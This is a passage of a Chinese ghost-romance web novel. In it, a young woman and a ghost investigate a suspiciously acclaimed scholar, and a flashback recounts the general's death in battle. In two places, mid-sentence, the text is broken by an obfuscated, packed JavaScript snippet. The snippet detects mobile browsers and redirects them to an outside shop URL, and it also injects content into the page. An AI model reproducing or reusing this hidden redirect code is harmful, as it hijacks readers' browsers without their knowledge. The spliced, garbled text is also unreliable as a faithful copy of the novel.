桥夫人双目通红,突然无力地坐到椅子上,低泣道:“沈寄时早就已经死了,你难不成以为自己看这些东西,他就能回来吗?阿娘知道你心中难受,可他早就已经死了,沈寄时若是真的为你好,就不会再回来寻你。” “阿娘!” 桥妧枝没什么表情,只固执地将散落一地的东西捡起,“这只是一些怪力乱神的书。” 桥夫人不说话了,过了很久,她才嘲讽道:“你和你爹一样倔。” 她起身,拿起桌上的藤条,红着眼冷气dog道:“你长这么大,阿娘只打过你一次。就是东胡之乱时,你为了一只狸奴偷偷跑回去,害得沈寄时回去寻你,最终你们两个与我们走散,几经生死才到蜀州。” 桥妧枝鸦睫微颤,她记得那次,她到蜀州见到爹娘的第二日就被阿娘用藤条抽了手心,还顶着太阳被罚跪了整整一日。 桥夫人继续道:“今日是阿娘第二次打你,伸出手来。” 桥妧枝抿唇,将手背到身后,摇头道:“上一次,是我错了,不该一时任性不顾自己性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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桥妧枝一直紧绷的肩膀微微一松。 他们没有注意到,此时此刻,远处祠堂外多了一人。 温热的糕点从手中脱落,毫不客气地在地上滚了一圈灰尘。 郁荷惊恐地捂住嘴,被吓得连连后退。 她看着跪在祠堂中的少女正神请专注地与人说话,可目光所及,她四周明明空无一人。 腿一软,她几乎是本能的向后跑。 有……有鬼…… 真的有鬼…… 19. 第 19 章 桥妧枝在祠堂跪了半宿,后半夜不知不觉竟睡着了,第二日一睁眼,她才发现膝盖上多了两块瘀青,一碰就疼。 她没放在心上,忍着疼,重新跪回原地。 好在桥夫人最终还是心软了,天刚亮,就派了人来叫她回去。 桥妧枝没有犟,她知道阿娘其实还在生气,可她觉得自己没错,于是最终什么也没说,拖着发软的膝盖回了自己的院子里。 郁荷没有如同往常一样出来迎接,桥妧枝以为她还在睡,便翻出化瘀的药膏为自己涂抹。 天色还是浅淡的青白色,屋内昏暗,她没有点灯,便凑到窗前就着稀薄的日光上药。 鹅黄色的长裙被卷到膝盖以上,露出白皙纤细的小腿,沈寄时缓缓转身,目不斜视,脊背却微微发僵。身后传来布料摩擦的琐碎声,捏着扇骨的手却越来越紧,早就不能跳动的心渐渐乱如麻,时间突然变得格外漫长。 不知过了多久,身后的动静消失,她总算上完了药。沈寄时握在扇骨上的力道骤然一松,却没有立即回头。 “沈郎君。”少女的声音率先自身后缓缓响起,她道:“张渊的事情还没有调查清楚,我今日还想去一趟茶楼,兴许能得到什么有用的消息。” 沈寄时转身,看向只及自己肩膀的少女。 明明受了一夜的罚,可她却丝毫不见疲颓,那双眸子依旧亮如星辰。 他移开目光,低声问:“女郎准备何时去?” 桥妧枝,光越过他肩膀看向窗外的合欢树,毫不犹豫:“现在,我们现在就去,即便回来阿娘还要罚我,我也认了。” — 天光初亮,正房里燃了一夜的灯终于熄了。 平妪将油灯移走,对闭目小憩的妇人劝说道:“夫人一夜未睡,还是早些去榻上休息吧。” 桥夫人缓缓睁眼,面色疲惫,低声道:“她已经从祠堂回去了?” “已经回去了,女郎向来乖巧,应当只是一时糊涂,信了些怪力乱神的话,夫人不必太过介怀。” 古楼观中道士的话回荡在耳畔,桥夫人缓缓摇头:“知女莫若母,她是一时糊涂还是认真,我还能不知晓?世人都言鬼怪之说是怪力乱神,可......” 她说到一半,没有再说下去,只重新闭上双目,道:“不必再劝我,下去休息吧。” 平妪轻轻叹了口气,为屋内燃上檀香,方才转身出了房间。 小心翼翼将房门关上,平妪正要离开,就见一个小丫头慌张跑进正院。 担心扰到夫人清净,还未看清来人是谁,平妪便下意识低斥:“什么人,怎么慌慌张张的?” 被呵斥之人脚步未停,小跑过来,神色惊惧,声音隐隐发抖:“平姨,我.....我有要事想要找夫人。” 平妪这才看清,来人竟是女郎院中的郁荷姑娘。 见她神思不属,平妪犹豫片刻,还是道:“你且等等,我去问问夫人。” 话音刚落,紧闭的房门突然被打开,两人同时看去,只见桥夫人立在门前,眉头紧蹙,问:“什么事?” — 长安茶楼酒肆数不胜数,但最有名的当属朱雀大街的望京楼。早在东胡之乱以前,五湖四海之人汇聚在此,热闹非凡。如今虽不负当年鼎盛,却也日日客满。 浓茶飘香,少女坐在茶楼一角,低头抿了一口茶,注意力却放在此间来来往往的读书人身上。 古往今来,无论哪个朝代,读书人最是喜欢聚集在市井间的茶楼酒肆高谈阔论,或是指点江山,或是直抒胸臆,也是因此,想要真正了解一个风头正盛的儒生,最好的方法就是去文人墨客聚集的茶楼酒肆里坐上一日。 只是事情并不尽如人意,桥妧枝一直坐到晌午,既没有再遇见张渊,也没有从这些读书人口中听到什么有用的信息,便有些乏了。 糖炒栗子的香气从街边传进茶楼,铺天盖地的香甜不知不觉竟掩盖了茶香。 桥妧枝向外忘了几眼,看到茶楼门前不断翻炒的铁锅,于是问:“郎君要吃炒栗子吗?” 沈寄时无奈道:“女郎,我是鬼,吃不到。” 桥妧枝唔了一声,还是起身出了茶楼,不一会儿便抱回来满满一包炒栗子。 栗香更浓郁了,少女抓出一把递给他,“闻一闻呢?我看许多志怪小说里,都说鬼魅闻一闻便能吃到。沈郎君,你可以吗?” 棕褐色的糖炒栗子在少女掌心垒成了小山,不断散发着诱人的香气。 她大概是真的很想要他尝一尝,举着栗子的手一直没有离开,固执地想让他吃一些。 沈寄时看了她一会儿,突然低头,就着她掌心轻轻嗅了嗅。 突如其来的动作令桥妧枝下意识僵在原地,她没有躲开,只是看着近在咫尺的郎君,捧着栗子的手不自觉有些发麻。 栗子很香,带着浓浓的烟火气,沈寄时却并没有嗅太久,只几瞬的光景,便抬头,道:“很香,多谢女郎。”、 桥妧枝回神,连忙收回手,抿唇问:“那,郎君还要吗?我买了很多栗子,够我们吃很久。” “已经够了。” 桥妧枝没再强求,低头剥了一颗栗子,放进口中嚼了两下,有些惊讶地抬头。 沈寄时开口解释:“鬼魅吃过的东西,便会失去味道。” “竟是如此吗?”桥妧枝想到什么,惊喜道:“那就是说,郎君其实是可以吃东西的。” “可以,但人间的东西,吃与不吃,于我而言并没什么区别。” 他已经很久没有吃过人间的吃食,栗子虽香,却令他感到陌生。 桥妧枝闻言,指尖撬动已经裂开的栗子皮,突然变得心不在焉起来。 临近正午时,茶楼中的人渐渐散去,满堂之内,只剩下零星几桌茶客。 栗子壳已经堆成了小山,茶也见了底,桥妧枝耷拉下肩膀,道:“要不我们去长宁坊吧,既然山不来就我,我就去就山。” 与其在这里守株待兔,还不如直接去查。 她说着就要起身,却不想下一瞬,就听到一句愤愤之言:“张渊?他算哪门子读书人!不过是趋炎附势的达官显贵的一条狗!” 桥妧枝一顿,悄无声息坐了回去,耳朵敏锐地动了动。 说话者是临桌的一名儒生,此人应当是极其痛恨张渊,用词格外激烈。 有人劝道:“兄台慎言,张君的才华大家有目共睹,还是不要这般说为好。” 出声那人冷冷道:“才华?谁知道他的那些文章如何而来?乡试之时,张渊不过一介平平无奇的读书人,名次在我之下,相距甚远。不成想,他来了长安却备受追捧,真是滑天下之大稽。” 旁人皱眉,忍不住道:“乡试之时,说不定张君只是没有发挥好。” “是啊是啊,就算乡试能作假,难不成文章也能作假吗?” “张君的文章,可是相国大人都夸赞过的。” 那人猛地站起,讥讽道:“我与他是同乡,他肚子里有几滴墨水,难不成我不知道?你们这些人,当真以为那些文章是他自己写的不成?” 话一落,满桌寂静,众人神色古怪。 说话之人意识到自己失言,神色慌张地看了众人一眼,转身跌跌撞撞出了茶楼。 剩下的人先是松了口气,可脸色也不太好,只能喝茶掩盖自己脸上的不自然。 桥妧枝来不及拿上还没吃完的栗子,戴上帷帽便匆匆追了出去。 日头正盛,长街上除了昏昏欲睡的商贩没几个行人。 失言的儒生不再像之前那样愤愤,或许知道自己今日说话有些过了,走起路来有些魂不守舍。 桥妧枝跟在那个书生身后,七拐八拐走近了一个小巷子。担心将人跟丢了,经过一处拐角时,她正要加快脚步,却猝不及防对上一张瘦削阴郁的脸。她倒吸一口凉气,下意识向后退了两步。 沈寄时蹙眉,下意识挡在她身前,冷冽的目光落在那个瘦削书生身上。 书生看不到沈寄时,却能感受到自己正被什么危险的东西注视着。 后颈突起一阵凉风,他提防道:“阁下是什么人,何故跟着某?” 桥妧枝稳定心神,深吸一口气,道:“刚刚在茶楼听到郎君所言,想向郎君打探一个人。” 她声音好听,语调温和,极易令人卸下心防。 书生看到跟在自己身后的是个手无缚鸡之力的小娘子,面上一松,讥笑道:“你是想打探张渊?” 桥妧枝没有否认。 书生又问:“长安女郎皆对张渊青睐有加,你也是思慕张渊之人?” ....... 桥妧枝正要否认,却听书生嘲讽道:“一节女流之辈,就算知道又如何?你我萍水相逢,我为何要告诉你?” 说完,书生便要走,却不想一转身,腰部就被人重重踹了一脚,力道之大直将他踹翻在地。 桥妧枝错愕看着立在书生身边面无表情的沈寄时,险些反应不过来。 她甚至还没来得及生气,他就已经动手了。 “谁?”书生捂着后腰转头,看到刚刚的小娘子与自己距离甚远,神色立即变得微妙。 读书人虽然一根筋,但却很敏锐。 男子慌张从地上爬起,一句话没说就想跑,可刚迈出一个步子,屁股上又被人重重踹了一脚。 书生再次匍匐在地,额头直接磕在地上,疼得他有些发晕。可这次他却没敢回头,直接将头埋进臂弯,就着这个姿势开始发抖。 沈寄时眉梢微扬,转身看向还立在原地发愣的桥妧枝。 桥妧枝反应很快,连忙走到书生身边,压低声音道:“郎君.......” 书生抖得更厉害了,不敢抬头,哆哆嗦嗦地道:“女郎,你......你是人是鬼......我与你无冤无仇......你去找...对,去找张渊,他就在长宁坊,就在长宁坊.......” 桥妧枝抿唇,冷冷道:“我无意害你,只想知道,张渊是个什么样的人。” 书生一怔,缓缓抬头,舔了舔干涩的唇,缓缓道:“张...张渊他.......” 张渊出生在冀州穷苦之地,家境贫寒,上尚有年迈父母,下有年纪尚小的弟妹,好在书读的不错,在方圆百里几个村中都是佼佼者。即便是落后贫寒之地,也明白若是书读的好,便比种地强。张渊就此成了村中的希望,全村人寄托于他凭借才学高中进士,做官之后惠及乡亲。 只是,这世间会读书的人太多了,人人都想要跃过龙门,但是江海宽阔,能有资格去跃龙门的鲫鱼都数不胜数。 乡试放榜那日,张渊虽榜上有名,却只位居最后,耗不起眼。 书生也是在那时候才注意到有一位名叫张渊的学子。 他看过此人的文章,虽有才华却并不显眼。一开始,他并没有将此人放在心上,甚至没想过此人会千里迢迢来赶来长安参加春闱,更没想到他一来到长安之后便名声大噪,写出的文章更是与之前判若两人。 “一个人怎么可能变化这般大!张渊此人,胆小懦弱,怎么可能写出那么好的文章?后来,有一日夜里,我出门如厕,看到他与几个士兵模样的人说话。他一介草民,定然是勾结了达官显贵,卖官鬻爵,这才在长安名声大噪!” 书生断断续续说完时,已经有些口干舌燥。他一抬眼,见女鬼低头沉思,并没有将注意力落在他身上。 趁着机会,书生小心翼翼起身,猛地向巷口跑去。刚跑出几步,便觉一阵阴风吹过,让他直接从后颈凉到脚跟。动作一僵,他丝毫不敢回头,疯了一般向前冲去。 桥妧枝懒得理他,坐在巷子里废弃的石磨盘上,低声道:“沈郎君,人心复杂,我却觉得刚刚那名书生虽然出于嫉妒,但所说的话却不一定是假。” 她将帷帽上的白纱掀起,若有所思:“那人说,张渊不止文章风格与从前不一样,就连笔迹都仿佛换了人一般,因此怀疑张渊的文章都是找人代写而来。可若是代写,能写出名噪长安的文章之人,必定不是泛泛之辈,怎么会心甘情愿替人代写?” 她想到什么,看向伞下郎君,轻声道:“沈郎君,你之前说,生魂离体的办法,有一个便是夺舍?” 沈寄时眉眼一压,沉声道:“夺舍之法极为困难,如果不是被夺舍之人自愿献祭,便只有恶鬼趁着身体主人魂魄衰微时强占,否则极难成功。” 桥妧枝抿唇:“若是夺舍,那个生魂为何会拿着我送给沈寄时的剑穗,夺舍之人,为何又要效仿沈寄时......” 她百思不得其解。 沈寄时忍不住问:“若真是夺舍,女郎就没有想过,夺舍之人便是女郎要找之人吗?” 桥妧枝立即否定:“不是他。” 沈寄时心中微动,却听她继续道:“他这个人啊,向来不爱读书,年少时抢走我书也只会盖在脸上睡大觉。小时候,我完不成课业拉着他帮我写,却不想写得还不如我,害我被夫子打了手心。所以,他就算当真夺舍了谁,也写不出能够被我爹夸赞的文章。” “.......” 握在扇骨上的手猛地一松,沈寄时敛眸,忍不住低笑起来。 桥妧枝等他笑够了,这才起身,对他道:“沈郎君,我觉得沈府的生魂与那日所见的张渊并非一个人,我要再去一趟沈府。” — 将军府前的石狮子落了一层薄灰,这里已经鲜少会有人前来打扫。 沈寄时死后,家中奴仆被遣散,沈家门前挂着的长宁侯牌匾被摘下,偌大的门前,只孤零零挂了一块将军府的牌匾。 如今,牌匾前的悬挂的两盏白灯笼随风而摆,很是寂寥。 桥妧枝立在门前,许久没有上前敲门。 “沈郎君,我上次敲门,被阿婆赶了回去。” 她语气并没有责怪谁的意思,只是想到什么就说什么:“我知道她不是故意针对我,她只是怕影响我再嫁。一个云英未嫁的女郎,来给退过婚的郎君送灵,若是被旁人看到,必然会引起非议。” 沈寄时喉结滚动,久久说不出话来。 可少女似也没想得到什么回答,说完之后便拾阶而上,轻轻扣动门前的铁环。 等了许久,厚重的大门终于缓缓挪动,打开一条缝隙。 “桥姑娘?” 桥妧枝听到声音,惊讶道:“彭校尉?” 大门立即敞开,漏出青年黝黑的脸,他连忙解释:“这里鲜少有人来,我还以为是长安城哪家店铺前来结账,想不到竟是桥姑娘。” 桥妧枝眉眼微弯,似是了然,“你还是来寻了沈萤。” 青年将人请进来,摇头笑道:“我已经习惯了随将军征战沙场的日子,十二皇子府中虽好,却不适合我。” 他言尽于此,没有再说下去,只道:“我去寻沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13547363|141701||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小娘子过来。” 他脚步匆匆,不一会儿,远处就急急跑来一个女郎,直直冲进桥妧枝怀里。 沈萤刚刚练完枪,身上的衣服还未来得及换,抱着桥妧枝的腰哭诉:“小桥姐姐,你终于来了。” 彭校尉不知什么时候悄然离开,院中只留下她们。 沈萤抿唇,有些委屈:“我还以为你生我的气,再也不来了。阿婆不让我去找你,我便一直没有去,忐忑了许久。是我的错,那只鬼拿着兄长的剑穗,还知道许多关于兄长的事情,我便以为他真的是兄长。” “他知道很多有关沈寄时的事吗?” “知道很多。”沈萤眼眶微红,“他知道兄长的止危枪,知道你与兄长起争执退了婚,还知道许多只有亲近之人才知道的事,小桥姐姐,他当真不是兄长吗?” 若不是兄长,还能是谁呢? “他不是。” 沈萤敛眸,没有出声。 被少女抱在怀中的袖口悄无声息湿了,桥妧枝一怔,静静等她哭完。 风过树梢,枝叶发出沙沙轻响。 不知哭了多久,等沈萤终于哭够了,桥妧枝轻声问:“后来那个冒充沈寄时的鬼魅有再来过吗?” 沈萤松开她,摇了摇头:“阿婆请了古楼观的道士前来做法,那只鬼就再也没有来过,以后应当也不会再来了.......小桥姐姐,一直没有告诉你,再过几日,我就要离开长安了,你可否前来送我?” 桥妧枝眼皮一跳,下意识问:“去哪里?” “冀州。” 沈萤仰头,看向长安以东,声音低落:“那里山川辽阔,东胡人依旧在作乱,我要去冀州参军,重振沈家威名。” 少女目光灼灼,明明才十五岁,身上却已经有了她母亲的影子。 桥妧枝顺着她的目光望去,看了很久,方才轻声道:“阿萤,一路平安。” 天边云影渐红,正是朔月当空。 桥大人今日很晚才归家,饭桌上的菜早已凉透。 桥夫人吩咐下人去热一热,上前续上热茶,低声问:“这几日怎么回来得越来越晚,朝廷里有那么多事?” “陛下病了。”桥大人落座,叹了口气,道:“自从太子被东胡人刺杀,陛下身子便一日不如一日。朝中风云涌动,各成一派,如今都已经乱成一锅粥了,再这么下去.......” 他没有说下去,可旁人却已经知晓。 桥夫人噤声,没有再问。 饭菜重新被端上,桥大人没看到桥妧枝,忍不住皱眉道:“脉脉去了何处?你们还在置气?” 桥夫人动作一顿,面色不变,“置气?我什么时候与她置气过?” “昨日她跪了一夜的祠堂。” “跪个祠堂罢了,哪家郎君女郎没有跪过祠堂。我年少未出嫁时,时常被母亲罚跪祠堂,也从未有半句怨言。” 桥大人哑然,闷笑道:“好在脉脉没有学了你,要不然还不一定让我们怎么操心。” 桥夫人脸上笑意淡去,“她确实没有学我,我年少时,可没有她这样的胆子。” 察觉到不对,桥大人放下筷子,皱眉问:“怎么了?” 话音刚落,平妪突然快步走进来,声音打颤,“夫人,有......有了......面粉上,多了一双脚印!” 桥夫人一抖,手中瓷杯应声落地,茶水四处飞溅,沾湿了裙摆。 “夫人!”桥大人一惊,连忙上前搀扶。 桥夫人却摇了摇头,对平妪道:“你连夜去古楼观,寻驱鬼的道长前来。” 桥大人眉头皱得愈发深,可看到桥夫人的神色,却没有说什么,任凭她去了。 — 前堂到院落的必经之路上撒了许多面粉,据家丁说,是运送至厨房的面袋途中破漏所致,还未来得及清理。 桥妧枝没在意,抱着竹伞走过,裙摆处也不小心沾染上一些。 郁荷守在院门前,见到她回来,神情有些不自然,低声道:“女郎今日又去书局了吗?” “去逛了逛朱雀大街。”桥妧枝将热腾腾的栗子塞给她,歉疚道:“昨日被我连累,害你受了罚。” 郁荷一怔,下意识抱住香气四溢的栗子,即便隔着厚厚的幼纸,依旧能感受到栗子散发出来的温热,显然是刚出锅没多久。 小花从屋内跑出来对着桥妧枝撒娇,少女眉眼一弯,弯腰将狸猫抱进怀里,脚步轻快地往屋内走。 “女郎!”郁荷突然出声。 桥妧枝回头,略带疑惑地看着她,“怎么了?” 浓郁的栗子香张牙舞爪地萦绕在四周,郁荷被包围在其中,突然有些喘不上气来。 她抿唇,指尖微微发抖,低声道:“女郎裙子有些脏了,早些换下来,我为女郎清洗。” 桥妧枝点点头,“我一会儿就去换下。” 说完,少女抱着狸猫进了屋子。 房门被合上,桥妧枝将小花放到榻上,走到窗边眺望。 日落越来越早,刚入戌时,外面竟已经漆黑一片。好在今夜云淡,明月悬挂苍穹,照在石板上,仿佛积了一滩水。 桥妧枝望着地面上轻轻摇晃的树影,想到今日种种,低声道:“沈郎君,其实,我今日有些难过。” 沈寄时下颌紧绷,哑声问:“为何?” 桥妧枝没有看他,而是伸手去接簌簌飘落的合欢花,低声道:“这世上对我与沈寄时之事了如指掌之人少之又少,我想,无论出于什么目的,与这件事情有牵扯的人,必定是我与他身边的亲近之人。” 沈寄时缄默,他其实对许多记忆已经模糊了,一时竟想不起,在他活着的时候,身边亲近之人都有谁。 他看向落在她指尖已经萎靡的合欢花,久久移不开目光。 一阵晚风吹过,合欢花飘飘然飞走,桥妧枝突然道:“沈郎君,你有没有什么想要的?” “什么?” 沈寄时一时之间没有反应过来,待回过神后,道:“没有。” 似是早就料到了这个答案,桥妧枝轻笑:“天渐冷,沈郎君,我为你烧一件冬衣吧。” “我去古楼观问过那里的道长,很简单,郎君有没有喜欢的样式?” 沈寄时久久没有出声。 桥妧枝又道:“以前在蜀州征战的时候,冬日很冷,沈寄时总穿得很单薄,我每次问起,他都说自己不冷。后来我就随阿娘学了缝制冬衣,每到入秋,都会托人送到青城山上。自此以后,他便也习惯穿冬衣了。所以沈郎君,你不必担心,我的手艺很好。” 沈寄时隐在袖中的手紧握成拳,他敛眸,语气突然多了几分疏离,“鬼魅不惧严寒,女郎不必为我废心,以免沾染更多因果。等女郎攒够阴德,我便会自行入酆都。” 他说完,缓缓踏进庭院中。 合欢花簌簌飘落,花蕾穿过他颀长的身躯,衬得他背影有些模糊。 明明是一片好意,可是这鬼却不领情。桥妧枝薄唇紧抿,突然觉得十分憋闷。 窗户猛地合上,发出砰地一道声响。沈寄时身躯一僵,如同定亲玉佩被打碎那一日一般,没有回头。 与此同时 一辆马车在深夜中飞快驶进兴宁坊,最终停在桥府大门前。 车帘被一把桃木剑挑起,年轻的道士跳下马车,看着桥府的大门微微眯眼,回身对车内道:“师父,我们到了。” 20-30 第21章 ◎【二合一】天地之大,他无归处◎ 沈寄时是万箭穿心而死,他死的那日,暴雨混着八万将士的鲜血冲刷而下,将浮屠峪这片山谷的土地染成了紫色。 他摸着自己胸口的位置,那里漏了个窟窿,血流干之后便开始呼呼冒风。于是他恍然大悟地想,怪不得总是很疼,原来他竟死了啊。 李副将还在嚎啕大哭,哭声响彻峡谷,带起阵阵骇人的回响。 刚刚拿到寒衣的将士们听到哭声,茫然地往四周看,不知为什么,竟也跟着哭了起来,鬼啸凄厉,声音越来越大。他们在思家,可是这些哭声却传不到千里外的家乡。 沈寄时没有哭,他看着那些与他出生入死的将士匍匐在地,看着他们苍白无神的脸,看着他们的断臂残肢,看着满山荒冢白骨,那些梦里金戈在一瞬间远去,恍惚间,竟如同前世之事。 八万沈家军成了山中无名白骨,千古罪人是他,始作俑者也是他,是他没有将他们带回去,他无颜再回长安,无颜再见到卿卿。 他在原地呆站了很久,终于拿起止危枪转身,向着峡谷深处走去。 李副将找到他的时候,止危枪横在溪水中,已是遍体生锈。沈寄时垂首坐在溪边,一向宁折不弯的脊背已佝偻不已。 李副将一脸慌张将长枪从水里捞出来,一边哭一边问:“侯爷,你的兵器坏了,要是东胡人打过来我们怎么办?” 沈寄时看着他,声音沙哑地回答:“东胡人不会再打来了。” 李副将眼中闪过茫然,随后不哭了,反而乐呵呵地问:“东胡人是不是降了?侯爷,我们是不是可以回长安了。” 他以为自己还没有死,他以为赶走东胡人就可以回长安,可是他们埋骨于此,再也回不去了。 沈寄时道:“是,快回长安了。” 李副将笑了,僵硬转身,喃喃自语道:“怪不得找不到周将军,原来他们已经回家了,已经回家了……” 沈寄时握着已经生锈的长枪,听着他口中的回家,一瞬间脊背更弯,满目颓然。 意气风发的长宁侯,早就已经死在了战场,再也回不来了。 浮屠峪再次落雨的那日,浮屠峪战场上忽然来了一队士兵,他们在堆积成山的尸体中寻到了沈寄时的尸首,小心翼翼放进棺椁中。 那是大梁的士兵,是专门前来带他回长安的。 招魂的白幡被雨水打湿,却还是被朔风吹起,向远处飘动。 棺椁越走越远,沈寄时却没有动。长枪在他手边嗡鸣,似在催促他跟上,得以魂归故里。 魂归故里,又有谁不想要魂归故里呢? 可他转身看着盘踞在原地的八万英魂,始终岿然不动。 一将功成万骨枯,没有主将率先离开战场的道理。他是沈寄时,是大梁的长宁侯,也是将他们带来冀州却没有将他们带回去的人。 他捏着那封家书,看到那熟悉的字迹,看着上面那首诗,突然低低笑了起来。 一缕残魂忽从他眉心飘出,在雨中缓缓跟上了渐行渐远的白幡,立在原地的魂魄就那么暗淡了下去。 他目光看着白幡消失的方向,心想或许有一日,桥脉脉路过他的灵堂,会有一缕残魂附到她的绒花上,与她长相守。 只是,她大概永远不会知道了。 棺椁远去,沈寄时收回目光,缓缓走向浮屠峪深处。 八万鬼魂太多了,鬼差拘魂也要拘很久。盘踞在浮屠峪的英魂每日都在减少,将士们还不知道自己已经死了,只以为消失的那些人是回家了,于是他们每日翘首以盼,希望早日轮到自己。 斗转星移,有一日,浮屠峪突然开始落雪,不知不觉间,竟已是冬日。 那日雪下的太大了,白骨与雪融为一体,枯草满地,穹顶苍茫。 沈寄时穿着桥妧枝烧来的冬衣,恍惚想起,距离他上次见到她,竟已是一年了。这一年过得真快啊,也不知她尚在气否,不过想来应该已经不气了。 没人会与死人计较,尤其是桥脉脉那般心软的人。他想,他回不去,她应当会很伤心。 浮屠峪的孤魂已经少了许多,大雪厚重到压垮树枝那一日,李副将也要走了。 沈寄时孤身为他送行时,方才惊觉这已经是最后一个人,八万英魂皆已离开,等李副将走后,此处就只剩沈寄时自己。 李福将脖颈的刀口依旧显目,他立在雪中,唇角蠕动,道:“侯爷,我也要走了。” 沈寄时裹着厚厚的大氅,眉眼在风雪中显得有些不清晰,他笑,声音低沉:“李将军,一路走好。” 此去黄泉,前路茫茫,不复相见。 李副将青白的脸上浮现一丝笑意,可这笑意刚刚扬起,又很快僵住,他说:“侯爷,我们是不是已经死了?” 沈寄时浑身一僵,又很快释然,道:“你早就知道了。” “猜出来一些。”李副将看向埋在雪中的长枪,嗫嚅道:“侯爷,你已经很久没有练枪了。” 沈家的人,到死都不会忘却自己的兵器,可是从秋到冬,沈小将军却已经很久没有摸一摸他的止危枪了。 李副将眼中落下血泪,他道:“侯爷,你随我一起走吧,这里已经没有人了,你不必再送谁。” 八万英魂已经离去,偌大的战场,只剩下他这个没有将士的将军。 沈寄时道:“我已是残魂,入不了酆都。” 从他分出自己那缕魂魄随棺椁回长安时,他便再也入不了酆都。他知道,可却不后悔。 李副将看着他透明的魂魄,突然伏地大哭。 那是沈寄时最后一次见到李副将哭,于是那天,他没有制止。 李副将最终还是走了,天地白茫间,只剩下沈寄时这一缕残魂,他孤立在原地,第一次发现天地之大,他却无归处。 他望向千里外的长安,感受到千里外那残魂若有似无的联系,不知卿卿可安否。 承平二十八年的冬夜,长安雪纷纷。 狸奴窝在窗边小憩,尽显娇憨。 桥妧枝端坐在桌案旁,望着窗外纷纷白雪,一笔一划写下书信。她并未察觉,在她偶尔低头时,插在头上的绒花在夜间泛起荧荧光亮。 这点微弱的荧光太过顽强,一转眼,便从承平二十八年亮到了如今。 桥妧枝睡得很不安稳,她额头上出了许多密密麻麻的汗,口中不断呓语着什么。妆匣处泛起幽光,一缕荧火飘出,落在她鬓边。 “桥脉脉。” 桥妧枝听到有人叫她,于是提着灯笼飞快穿过长廊,寻着声音往前走。四周一片漆黑,偌大的桥府仿佛只剩下她自己。 “沈寄时!”少女跑得气喘吁吁,想起什么,委屈道:“你昨日给我做的上元节灯笼被小花挠收破了,能不能重扎一个?” 连廊尽头传来一声低笑:“当然可以,你拿给我看看。” 桥妧枝耳尖微动,一边往前走一边与他抱怨,“小花总是很不听话,好好的灯都让它抓坏了。沈寄时,明年我想要个木灯,这样抓不坏。” 说着说着,手上的灯就灭了,她皱眉,一抬眼,看到立在前方的背影,轻轻松了口气。 “你怎么背对着我啊?” 她走到他身后,伸手去抓他的手,却惊觉他掌心一片冰凉。 “沈寄时,你身上好冷啊。”桥妧枝喃喃,走过去想要抱他,可刚碰到他的腰,指尖却摸到了一片粘稠。 血腥气扑面而来,她当即呆立在原地。 怔愣间,背对着的人缓缓转头,对她轻笑,低声道:“女郎,与你无关,不必愧疚。” 她后退一步,手中提灯落地,“沈郎君!” 重物落地的声音将桥妧枝惊醒,她睁眼,看到被风吹落的烛台。 灯芯闪了一瞬便熄灭,天还未亮,房间内一片黑暗。 她呆坐了一会儿,突然披上一件外衣提灯去了连廊。连廊与梦中一样黑暗,她顺着梦中的记忆缓缓往前走,走到连廊尽头时,忽然看到了一道单薄的背影。 桥妧枝呼吸一窒,以为自己尚在梦中。她走近,脚步声似是惊动了背对她的人,那人回头,苍白的脸上闪过一丝错愕。 那是一只鬼,既不是沈寄时也不是沈郎君,而是一个游荡在世间的孤魂野鬼。 那鬼看到桥妧枝的瞬间,眸中闪过一丝精光,突然笑了起来。 桥妧枝能感觉得到,这只鬼对她有很大的恶意。 “女郎看得见我?”那鬼开口,一点一点靠近她,可刚向前走了两步,脚步却一顿。他看到她头上散发幽光的绒花,下意识瑟缩了一下。 注意到他的动作,桥妧枝握着符箓的手微松,冷声道:“你是何人,为何在我家?” 那鬼郎君皱眉,忌惮道:“我本是长安城的孤魂野鬼,无处为家,今日只是到府中稍作停留,这就便离去。” 他说完就走,却被桥妧枝叫住。 “以前为何不曾见孤魂野鬼在府中停留?” 那鬼郎君叫苦不迭,老老实实回答:“之前此地煞气太重,小的自然不敢前来。前几日,煞气消失,我见这是富贵人家,原本想蹭些香火。”若是能碰到身弱或是重病之人,兴许能吞掉个魂魄补补身子。 只是这句话,他不敢说,只能遗憾地扫了一眼眼前的女郎。 三把魂火灭了两把,若是没有那缕残魂护着,他直接附身也未尝不可。 桥妧枝敛眸,问:“之前,这里煞气很重吗?” 鬼郎君想到什么,笑道:“之前这里的煞气,整个长安的孤魂野鬼都绕路走。” 他想到什么,上下打量了她几眼,咧嘴笑道:“之前这里的,莫不是一只吸人精气的艳鬼?” 他舔了舔干涩的唇,脑中闪过精光,“若真是如此,女郎看我样貌比之前那鬼如何?” 这话说的暧昧下流,桥妧枝抬眼,目光冷淡又慑人。 鬼郎君这才注意到她手中的符箓,连忙后退两步,慌忙化作黑雾逃走了。 桥妧枝没有在意那鬼郎君的去留,她握紧灯杆,情不自禁开始想,沈郎君到底是个什么样的人? 他既是商贾之子,为何身上有那般浓重的煞气,那些天师为何说他沾惹了许多因果。 这些日子以来,她所认识的沈郎君,当真是真正的他吗? 可她转而又想,其实不管他是什么样的人,都是她害了他…… —— 古楼观的天师送来了一面八卦镜,说是将镜子悬挂在门前,可防止鬼怪侵扰。 桥夫人天未亮便命人挂好,立在门前坐看右看,看到了匆匆下朝的桥大人。 “今日怎么下得这般早?”桥夫人有些心不在焉。 “陛下病得更重了。”桥大人摇头,“今日连朝都没上。” 桥夫人一怔,低声道:“是不是……” 她没说下去,但是谁都心知肚明,陛下确实已经很老了,这位带领大梁走过鼎盛的帝王,已经垂垂老矣,老得有些糊涂了。 